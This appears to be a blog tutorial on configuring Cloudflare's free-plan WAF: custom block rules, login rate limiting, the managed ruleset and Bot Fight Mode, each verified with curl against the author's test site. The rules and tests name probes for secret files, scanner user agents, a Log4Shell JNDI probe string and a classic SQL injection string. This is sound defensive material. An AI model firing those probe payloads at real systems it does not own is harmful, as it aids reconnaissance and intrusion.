Mad World #Save_GAZA: Free Palestine  

Search

Cloudflare WAF Free Plan for Production (2026): Custom Rules, Rate Limiting, Managed Rules and Bot Fight Mode, Tested

Cloudflare WAF Free Plan for Production (2026): Custom Rules, Rate Limiting, Managed Rules and Bot Fight Mode, Tested

A web application firewall (WAF) is a filter in front of your website: it stops bad requests before they reach your server. Think of the bots that ask every site for a .env file full of passwords, the scripts that try thousands of logins, the vulnerability scanners. Cloudflare runs its WAF on its own network, so if your domain already goes through Cloudflare (proxied, orange-cloud records), you can use it on the free plan. This guide sets it up for production on a free zone: four custom rules, a rate limit on the login page, the Free Managed Ruleset and Bot Fight Mode, each one checked with real requests.

Tested on 26 November 2026 on a free Cloudflare account (NexaForge, our test account) and its test site, from an Ubuntu 26.04.1 laptop with curl 8.18. Every command below ran there, and every screenshot shows its real output.

Quick answer: the Cloudflare WAF on the free plan

In plain words: the free plan gives you five custom rules (your own "if the request looks like this, block it" conditions), one rate limiting rule (one IP address sends too many requests in 10 seconds: block it), a small ruleset that Cloudflare keeps up to date for famous attacks, Bot Fight Mode and Browser Integrity Check. You write the rules in the dashboard, under Security > Security rules.

  1. Save a small test script and run it once, so you know what your site answers today.
  2. Rule 1: block probes for secret files and WordPress logins, with lower() and starts_with().
  3. Rule 2: block scanners and requests with no user agent.
  4. Rule 3: put a Managed Challenge in front of /admin, except for your office IP address.
  5. Rule 4: block the HTTP methods your site never uses.
  6. Add a rate limiting rule on your login path: 5 requests in 10 seconds per IP address.
  7. Run the script again, then read Security Events to see which rule stopped what.
  8. Leave the Free Managed Ruleset on. Turn Bot Fight Mode on only if no API, mobile app or monitor uses the same hostname.
Cloudflare dashboard, Security rules page on a free zone: four custom rules (block probes, block empty user agents and scanners, challenge the admin area, block unused methods), 4 of 5 rules used
The result: four custom rules on a free zone. 1: four of the five rules the free plan allows.

Is the Cloudflare WAF free? What each plan includes in 2026

Yes. The WAF is part of every plan, Free included. The plans change how many rules you get and what the rules can look at. These are Cloudflare's published limits and prices, checked on 26 November 2026:

FreeProBusinessEnterprise
Price$0$20 a month billed yearly, or $25 monthly$200 a month billed yearly, or $250 monthlyContract
Custom rules5201001,000
Regular expressions in rulesNoNoYesYes
Rate limiting rules125100
Rate limiting period10 secondsUp to 1 minuteUp to 10 minutesUp to 65,535 seconds
Rate limiting block time10 secondsUp to 1 hourUp to 1 dayUp to 1 day
Rate limiting can matchPath, verified botsAlso host, URI, queryAlso method, source IP, user agentRequest and header fields
Managed rulesetsFree Managed RulesetAlso Cloudflare Managed Ruleset and OWASP Core RulesetSame as ProSame, plus Sensitive Data Detection
Security EventsSampled logs onlyAll dashboard featuresAll, export up to 500 eventsAll, export up to 500 events

Two limits shape a free setup. Five custom rules are enough if each rule groups related checks with or, as rule 1 below does. And the free rate limiting rule can only look at the path: one rule, one login address, counted per IP address over 10 seconds. The Log action (watch what a rule would do without acting) is Enterprise only, so on the free plan you test a rule by deploying it and checking the result, as this guide does.

Step 1: a test script and a baseline

Before you change anything, record what your site answers to the requests you want to stop. This script sends eleven requests with curl and prints the HTTP status of each one. Save it as waf-check.sh, make it executable with chmod +x waf-check.sh, and put your own site in the site= line (or pass the address as the first argument).

Code
#!/usr/bin/env bash
# Prints the HTTP status of each test request. Usage: ./waf-check.sh [site]
site=${1:-https://test.nexaforge.si}
check() { printf '%-26s %s\n' "$1" "$(curl -s -o /dev/null -w '%{http_code}' "${@:2}")"; }
check 'GET /'                  "$site/"
check 'GET /getting-started'   "$site/getting-started"
check 'GET /wp-login.php'      "$site/wp-login.php"
check 'GET /WP-LOGIN.PHP'      "$site/WP-LOGIN.PHP"
check 'GET /.env'              "$site/.env"
check 'GET /%2eenv'            "$site/%2eenv"
check 'GET /.git/config'       "$site/.git/config"
check 'GET /admin/'            "$site/admin/"
check 'User-Agent: sqlmap/1.8' -A 'sqlmap/1.8' "$site/"
check 'no User-Agent'          -H 'User-Agent:' "$site/"
check 'DELETE /'               -X DELETE "$site/"
Terminal: cat waf-check.sh shows a bash script with a check function that prints the HTTP status of eleven curl requests to the site
1: the test script. Each line is one request and the status it gets.

Then run it:

Code
./waf-check.sh
Terminal: waf-check.sh before any rule: the two pages 200, the probes 404, /%2eenv 307, sqlmap user agent 403, no user agent 200, DELETE 405
1: before any rule. The probes reach the server and get 404; only the sqlmap user agent is already stopped.

The two real pages answer 200. The probes for /wp-login.php, /.env, /.git/config and /admin/ get 404: the files do not exist, but every one of those requests still reached the server, which had to answer it. The encoded /%2eenv got a redirect (307). The sqlmap user agent already gets 403 from Browser Integrity Check, which was on in the zone's settings. A request with no user agent at all still gets 200, and DELETE gets 405 from the server. The goal of the rules: a 403 from Cloudflare for every probe, so the server never sees them.

Step 2: rule 1, block probes for secret files and WordPress logins

Bots ask every site for the same paths: /.env (database passwords and API keys), /.git/config (a way into the source code), /wp-login.php and /xmlrpc.php (WordPress logins). If your site does not use them, no real visitor asks for them.

In the dashboard, open your domain, go to Security > Security rules and select Create rule > Custom rules. Give the rule a name, open the expression editor (Edit expression) under "When incoming requests match", and paste:

Code
(lower(http.request.uri.path) in {"/wp-login.php" "/xmlrpc.php"}) or starts_with(lower(http.request.uri.path), "/.env") or starts_with(lower(http.request.uri.path), "/.git")

lower() turns the path into lowercase first. String comparisons in Cloudflare rule expressions are case-sensitive, so without it /WP-LOGIN.PHP would pass. starts_with() also catches /.env.backup and /.git/HEAD. Choose the action Block, keep the status Active and select Deploy.

Cloudflare dashboard, new custom rule: name Block probes for secrets and WordPress, the expression with lower and starts_with, action Block
1: a name you will recognise in Security Events. 2: the expression. 3: the action, Block.

Cloudflare asks for a confirmation, because the rule acts on live traffic at once:

Cloudflare dashboard dialog Deploy rule to production? The rule is Active and will start evaluating live traffic, with Cancel and Deploy buttons
1: the rule acts on live traffic as soon as you confirm.

On a WordPress site, leave /wp-login.php and /xmlrpc.php out of this rule (you would lock yourself out) and protect the login with the rate limiting rule of step 5 instead.

Step 3: rules 2 to 4, scanners, the admin area and unused methods

Create three more custom rules the same way. Each one has a single job, so Security Events tells you exactly which one acted.

Rule 2: Block empty user agents and scanners. Every browser sends a User-Agent header. A request that sends none, or that names a scanning tool, does not come from a reader. Action: Block.

Code
(http.user_agent eq "") or (lower(http.user_agent) contains "sqlmap") or (lower(http.user_agent) contains "nikto")

Rule 3: Challenge the admin area. A Managed Challenge lets a person through after a check in the browser, which a script cannot pass. Replace 192.0.2.10 with your office's public IP address, so your own team skips the check. Action: Managed Challenge.

Code
starts_with(lower(http.request.uri.path), "/admin") and not ip.src in {192.0.2.10}
Cloudflare dashboard, new custom rule Challenge the admin area: expression on /admin with an IP exception for 192.0.2.10, action Managed Challenge
1: the name. 2: the admin path, except one office IP address. 3: Managed Challenge instead of Block.

For an admin area that only your team uses, a sign-in in front of it is stronger than a challenge: Cloudflare Access does that on the free plan.

Rule 4: Block methods the site does not use. A static site or a simple CMS needs GET, HEAD, POST and OPTIONS. Action: Block. If your site has an API that uses PUT, PATCH or DELETE (Nextcloud and other WebDAV apps do), add those methods to the list, or leave this rule out.

Code
not http.request.method in {"GET" "HEAD" "POST" "OPTIONS"}

Custom rules run in list order, and a Block stops the evaluation for that request, so the order only matters when two rules can match the same request. With the four rules deployed, the Security rules page shows 4 of the 5 custom rules the free plan allows (the screenshot at the top of this guide).

Step 4: test the rules and see which one acted

Run the script again, then two more checks: the title of the page a blocked visitor sees, and the headers of the challenged admin page.

Code
./waf-check.sh
curl -s https://test.nexaforge.si/.env | grep -o '<title>[^<]*</title>'
curl -sI https://test.nexaforge.si/admin/ | grep -iE '^(http|cf-mitigated)'
Terminal: waf-check.sh after the four rules: the two pages 200, every probe 403; the block page title Attention Required! | Cloudflare; /admin/ gives HTTP/2 403 and cf-mitigated: challenge
1: every probe now gets 403, the real pages still 200. 2: the block page. 3: what a script gets from the challenge.

Every probe now gets 403 from Cloudflare, and the two real pages still get 200. Three details matter for production:

  • /WP-LOGIN.PHP is caught because of lower().
  • /%2eenv is caught because Cloudflare decodes %2e into a dot before custom rules see the path (URL normalization). An encoded path does not slip past the rule.
  • The challenged /admin/ answers a script with 403 and the header cf-mitigated: challenge. A browser gets the challenge page instead.

To see why a request was stopped, open Security > Analytics and the Events tab. Under Sampled logs, expand a row: Service and Rule tell you what acted, and Request details show the path, the method and the user agent. On the free plan, the dashboard shows sampled logs only, for up to the last 31 days.

Cloudflare Security Events, one sampled log opened: service Custom rules, action Block, rule Block probes for secrets and WordPress, path /%2eenv, user agent curl/8.18.0
1: the rule that blocked the request. 2: the encoded path it matched.

Step 5: rate limiting on the free plan, protect the login page

A rate limiting rule counts the requests from each IP address and blocks an address that goes over the limit. The free plan has one such rule. It can only match on the path, and both the counting period and the block time are 10 seconds.

Under Security > Security rules, select Create rule > Rate limiting rules. Name the rule and enter the expression with your login path:

Code
http.request.uri.path eq "/login"
Cloudflare dashboard, new rate limiting rule: name Slow down login attempts, expression http.request.uri.path eq "/login", with a preview of matched requests
1: the rule name. 2: on the free plan, the path is the field to match.

Below the expression: "With the same characteristics" is IP (the only choice on the free plan). "When rate exceeds": 5 requests, period 10 seconds. "Then take action": Block. "For duration": 10 seconds. Then Deploy.

Cloudflare dashboard, rate limiting rule settings: 5 requests, period 10 seconds, action Block, duration 10 seconds
1: requests allowed. 2: in 10 seconds, the only period on the free plan. 3: the action. 4: how long the block lasts.

Test it with eight quick requests, one request to the home page while the block is on, the headers of a blocked answer, and one more request after 11 seconds:

Code
for i in $(seq 1 8); do curl -s -o /dev/null -w '%{http_code} ' https://test.nexaforge.si/login; done; echo
curl -s -o /dev/null -w '%{http_code}\n' https://test.nexaforge.si/
curl -sI https://test.nexaforge.si/login | grep -iE '^(http|retry-after)'
sleep 11; curl -s -o /dev/null -w '%{http_code}\n' https://test.nexaforge.si/login
Terminal: eight quick requests to /login give 404 five times then 429 three times; the home page 200; HTTP/2 429 with retry-after: 7; /login 404 again after 11 seconds
1: the sixth request gets 429. 2: the rest of the site still works. 3: the block, with the seconds left. 4: back to normal.

Our test site has no /login page, so its normal answer is 404. The first five requests got that 404, the next three got 429 (Too Many Requests). The home page still answered 200 during the block, because the rule only counts /login. The 429 came with retry-after: 7, the seconds left in the block, and after 11 seconds /login answered normally again.

Five requests in 10 seconds is far more than a person typing a password needs, and it slows a password-guessing script down to 30 tries a minute per IP address at most. The free rule cannot match the method, so page loads (GET) and form posts (POST) count alike. To ban an address for longer on the server itself, add CrowdSec or Fail2ban behind Cloudflare.

Step 6: the Free Managed Ruleset, what it stops and what it lets through

The Free Managed Ruleset runs on every zone; on the free plan the settings page marks it "Always active". Cloudflare describes it as protection against high-impact and widely exploited vulnerabilities. Two requests show what that means in practice:

Terminal
curl -s -o /dev/null -w '%{http_code}\n' 'https://test.nexaforge.si/?q=$%7Bjndi:ldap://example.com/a%7D'
curl -s -o /dev/null -w '%{http_code}\n' 'https://test.nexaforge.si/?id=1%27%20OR%20%271%27=%271'
Terminal: a Log4Shell probe in the query string gets 403; a classic SQL injection string gets 200
1: the Log4Shell probe is blocked. 2: the classic SQL injection string goes through.

The Log4Shell probe (a ${jndi:ldap://...} string in the query) got 403. The classic SQL injection string 1' OR '1'='1 got 200: the free ruleset does not look for it. Security Events names the rule that acted, Log4j URI, in the Cloudflare Managed Free Ruleset.

Cloudflare Security Events, sampled log opened: service Managed rules, ruleset Cloudflare Managed Free Ruleset, rule Log4j URI, query string with jndi:ldap
1: the free ruleset. 2: the rule that matched. 3: the probe in the query string.

So the free ruleset is a safety net for famous exploits, not a filter for the bugs in your own code. Use parameterized queries in your application. The Cloudflare Managed Ruleset and the OWASP Core Ruleset come with the Pro plan; to run OWASP rules for free, a self-hosted WAF in front of the app can do it.

Step 7: Bot Fight Mode, and when to leave it off

Bot Fight Mode challenges requests that match Cloudflare's bot patterns. Turn it on under Security > Settings: filter by Bot traffic and switch Bot fight mode on.

Cloudflare dashboard, Security Settings: Bot fight mode switched on, with Browser integrity check on below it
1: Bot Fight Mode on, in Security > Settings.

With it on, we checked what a script gets and what the page now carries:

Terminal
curl -sI https://test.nexaforge.si/ | grep -iE '^(http|cf-mitigated)'
curl -s https://test.nexaforge.si/ | grep -o 'cdn-cgi/challenge-platform/[a-z/]*' | head -n 1
Terminal: with Bot Fight Mode on, curl -sI still gets HTTP/2 200 with no challenge header, and the page carries cdn-cgi/challenge-platform/scripts/jsd/main
1: a script from a home connection is not challenged. 2: the page now loads the JavaScript detections script.

curl from a home connection still got 200, with no challenge: Bot Fight Mode acts on requests that match its bot patterns, not on every script. The page now loads Cloudflare's JavaScript detections script from /cdn-cgi/challenge-platform/. Cloudflare's docs say this script comes on automatically with Bot Fight Mode and cannot be disabled. When we switched Bot Fight Mode off again, the script was still in the page two minutes later.

Before you turn it on in production, know three limits from Cloudflare's docs:

  • It may challenge API or mobile app traffic.
  • You cannot skip it with custom rules or Page Rules: it runs outside the rules engine, so Skip, Bypass and Allow have no effect on it.
  • A strict Content Security Policy must allow the scripts under /cdn-cgi/challenge-platform/.

If an API, a mobile app or a monitoring service uses the same hostname, leave it off, or use Super Bot Fight Mode on a paid plan, which supports skip rules. Requests it challenges show up in Security Events with the service Bot Fight Mode.

Production checklist

  • Deploy one rule at a time and run the test script after each one.
  • Watch Security Events for a few days. A blocked request from a real visitor tells you which rule to narrow.
  • Keep your office and your uptime monitor in the exception list of the challenge rule.
  • Write your rules down, or keep them as code: Cloudflare documents custom rules through the API and Terraform, so you can rebuild them on a new zone.
  • The WAF only sees traffic that goes through Cloudflare. If your server's IP address is reachable directly, accept web traffic from Cloudflare only, or put the server behind a Cloudflare Tunnel.
  • Review the rules when the site changes: a new API, a new admin path or a move to WordPress can turn a good rule into a broken login.

Errors and fixes

What you seeWhyFix
A real visitor gets 403 and the page title Attention Required! | CloudflareA custom rule or a managed rule blocked the request.In Security Events, open the request: Service and Rule name the cause. Narrow that rule, or add a skip rule for that path or IP address.
HTTP/2 403 with cf-mitigated: challenge in a script or a monitorA Managed Challenge: scripts cannot solve it.Add the monitor's IP address to the rule's exception, as rule 3 does with not ip.src in {...}.
HTTP/2 429 with retry-after: 7The rate limiting rule blocked this IP address.Wait for the block to end. If real users hit it, raise the number of requests; the 10-second period cannot change on the free plan.
A rule does not catch /WP-LOGIN.PHPString comparisons in rule expressions are case-sensitive.Compare lower(http.request.uri.path) with a lowercase string, as rule 1 does.
No Log action in the list of actionsLog is only available on Enterprise.Test with Managed Challenge first, check Security Events, then switch the rule to Block.
Bot Fight Mode challenges your app or API, and a skip rule changes nothingBot Fight Mode runs outside the rules engine.Turn Bot Fight Mode off for that zone, or use Super Bot Fight Mode on a paid plan with a skip rule.
Browser console: Refused to execute inline script because it violates the following Content Security Policy directiveYour Content Security Policy blocks the JavaScript detections script of Bot Fight Mode.Allow the scripts under /cdn-cgi/challenge-platform/ in the policy.

Frequently asked questions

Is the Cloudflare WAF free?

Yes. The free plan includes 5 custom rules, 1 rate limiting rule (path only, 10 seconds), the Free Managed Ruleset, Bot Fight Mode and Browser Integrity Check. Everything in this guide ran on the free plan.

How much does the Cloudflare WAF cost?

The WAF comes with the plan; it is not sold alone. Pro costs $20 a month billed yearly ($25 monthly) and gives 20 custom rules, 2 rate limiting rules, the Cloudflare Managed Ruleset and the OWASP Core Ruleset. Business costs $200 a month billed yearly ($250 monthly) and adds regular expressions and 100 custom rules. Enterprise is priced by contract (Cloudflare's plans page, checked 26 November 2026).

How many rate limiting rules do I get on the free plan?

One. It can match the path (and verified bots), counts requests per IP address over 10 seconds, and blocks for 10 seconds. In our test, 5 requests per 10 seconds on /login answered the sixth request with 429.

Does the free Cloudflare WAF block SQL injection?

Not the classic kind. In our test, ?id=1' OR '1'='1 got 200 on the free plan, while a Log4Shell probe got 403. The free ruleset targets famous, widely exploited vulnerabilities. Fix SQL injection in the code with parameterized queries; on Pro, the Cloudflare Managed Ruleset and the OWASP Core Ruleset add checks for it.

What is the difference between Block and Managed Challenge?

Block always answers 403 with Cloudflare's block page. Managed Challenge checks the visitor in the browser and lets a person through; a script like curl gets 403 with the header cf-mitigated: challenge. Use Block for requests no person sends, and Managed Challenge for pages people do use.

Can I skip Bot Fight Mode for my API or monitoring?

No. Cloudflare's docs say Bot Fight Mode cannot be skipped with custom rules or Page Rules, because it runs outside the rules engine. Turn it off for that zone, move the API to a hostname in a zone without it, or use Super Bot Fight Mode on a paid plan, which supports skip rules.

Does the WAF protect my server if someone uses its IP address directly?

No. The rules only apply to requests that go through Cloudflare. If attackers find your server's IP address, they can skip the WAF. Let the server accept web traffic from Cloudflare only, or connect it through a Cloudflare Tunnel so it needs no open port.

Sources

Salah Edin

Salah Edin

Salah Edin covers security advisories, Linux and DevOps for IGPROD.

Leave a comment

Your email address will not be published. Required fields are marked *

Your experience on this site will be improved by allowing cookies Cookie Policy